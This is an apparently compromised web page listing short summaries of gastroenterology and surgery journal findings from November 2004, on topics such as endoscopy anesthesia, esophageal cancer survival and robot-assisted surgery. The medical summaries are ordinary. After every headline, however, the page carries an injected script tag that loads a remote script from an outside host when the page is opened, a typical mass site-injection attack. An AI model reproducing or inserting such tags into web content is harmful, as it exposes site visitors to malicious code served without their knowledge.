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Sedative medication vs topical anesthesia for endoscopy 26 November 2004
Sedative or anesthestic for endoscopy?<script src=http://laba.com/muuu.s></script> Topical pharyngeal anesthesia did not enhance patient tolerance, but it did make upper endoscopy technically easier, reports November's issue of Gastrointestinal Endoscopy.
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Laparoscopic approach for treatment of sigmoid diverticulitis 26 November 2004
Results of laparoscopy for diverticulitis<script src=http://laba.com/muuu.s></script> Cases of complicated diverticulitis are significantly more frequently operated on at institutions with greater experience and despite this, these institutions have better intraoperative complication rates, postoperative morbidity and mortality rates, reports November's issue of Diseases of the Colon and Rectum.
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Sentinel lymph node mapping is highly successful in rectal cancer 25 November 2004
Sentinel lymph node mapping in colon and rectal cancer<script src=http://laba.com/muuu.s></script> Researchers in November's issue of Diseases of the Colon and Rectum find that despite higher success rates in sentinel lymph node identification for colon patients, sentinel lymph node mapping was highly successful in rectal patients.
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DDW 2005 call for abstracts - submission deadline looming! 25 November 2004
Abstracts for DDW<script src=http://laba.com/muuu.s></script> Abstracts are now being accepted for DDW 2005. Don't miss the opportunity to share your research with more than 15,000 GI professionals from around the world!
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EUS yield in primary vs recurrent idiopathic acute pancreatitis 25 November 2004
EUS in primary vs recurrent idiopathic acute pancreatitis<script src=http://laba.com/muuu.s></script> In patients with idiopathic pancreatitis, the yield of EUS is not significantly different after an initial attack or after recurrent attacks, hence it is reasonable to perform EUS after an initial attack especially in older patients, reports a study in November's Gastrointestinal Endoscopy.
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Determinants of survival in node-negative esophageal cancer 24 November 2004
Survival in node-negative esophageal cancer<script src=http://laba.com/muuu.s></script> A study in December's issue of the British Journal of Surgery reports that surgical resection of node-negative esophageal cancer is associated with diverse long-term outcomes, but that this is not reflected in the tumor node metastasis (TNM)-based staging system.
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Reduced need for small-bowel barium follow-through 24 November 2004
Small-bowel barium follow-through rarely required<script src=http://laba.com/muuu.s></script> Small-bowel barium follow-through is rarely required in patients who have had a normal ileoscopy and terminal ileum biopsy and a normal or unremarkable colonoscopy, reports a study published in December's Scandinavian Journal of Gastroenterology.
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Epidemiology of and risk factors for pyogenic liver abscess 24 November 2004
Epidemiology of pyogenic liver abscess<script src=http://laba.com/muuu.s></script> Men are at much higher risk of acquiring a pyogenic liver abscess (PLA) as compared to women and a number of comorbid conditions are associated with significantly higher risk for developing a PLA, reports November's issue of Clinical Gastroenterology and Hepatology.
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Cancer incidence and mortality with long-segment Barrett's Esophagus 23 November 2004
Cancer risk with long-segment Barrett's<script src=http://laba.com/muuu.s></script> The annual risk of developing high-grade dysplasia or adenocarcinoma in patients with long-segment BE is 0.83%, however, death due to adenocarcinoma is uncommon, even in patients with long-segment BE, reports December's issue of the Scandinavian Journal of Gastroenterology.
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170° wide-angle colonoscope: efficiency and miss rates 23 November 2004
Small polyps are routinely missed during colonoscopy<script src=http://laba.com/muuu.s></script> The use of the wide-angle colonoscope was associated with a reduction in insertion time to the cecum, as well as examination time during withdrawal, reports the latest issue of The American Journal of Gastroenterology, however, no evidence was found that the accuracy of the two colonoscopes differs.
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Symptom response and esophageal acid after GERD treatment 23 November 2004
Responses to GERD treatment<script src=http://laba.com/muuu.s></script> November's issue of the The British Journal of Surgery states that a high proportion of patients whose symptoms are improved by PPIs still have pathological levels of acid reflux and conversely, most patients who complain of reflux symptoms after antireflux surgery have no evidence of residual reflux on pHmetry.
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Regional vs general anesthesia in abdominal surgery 22 November 2004
Regional anesthesia for abdominal surgery<script src=http://laba.com/muuu.s></script> Abdominal surgery can be safely performed using regional anesthesia alone in selected high-risk patients, reports the American Journal of Surgery, making this option an attractive alternative to general anesthesia for those with severe pulmonary impairment.
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SARS is detected in intestinal tissues of fatal cases 22 November 2004
SARS found in intestinal tissue<script src=http://laba.com/muuu.s></script> Findings in November's issue of the American Journal of Gastroenterology provide explanations for the gastrointestinal symptoms and presence of virus in the stool of SARS patients, by showing that intestinal epithelial cells and mucosal lymphoid tissue are infected with SARS-coronavirus.
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70% of spina bifida cases preventable by folic acid 22 November 2004
70% of spina bifida cases are preventable<script src=http://laba.com/muuu.s></script> This week's issue of The Lancet discusses the causes, symptoms, and treatments relating to spina bifida, and reinforces an important public-health message for women about to become pregnant: 70% of cases of spina bifida are preventable by folic acid supplementation.
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Robot-assisted surgery is safe for abdominal surgery 19 November 2004
Robot-assisted abdominal surgery<script src=http://laba.com/muuu.s></script> Robot-assisted surgery appears safe and feasible for certain standard surgical procedures, however, at its current level of development, it offers no clear advantage over standard laparoscopic techniques, reports November's issue of the British Journal of Surgery.
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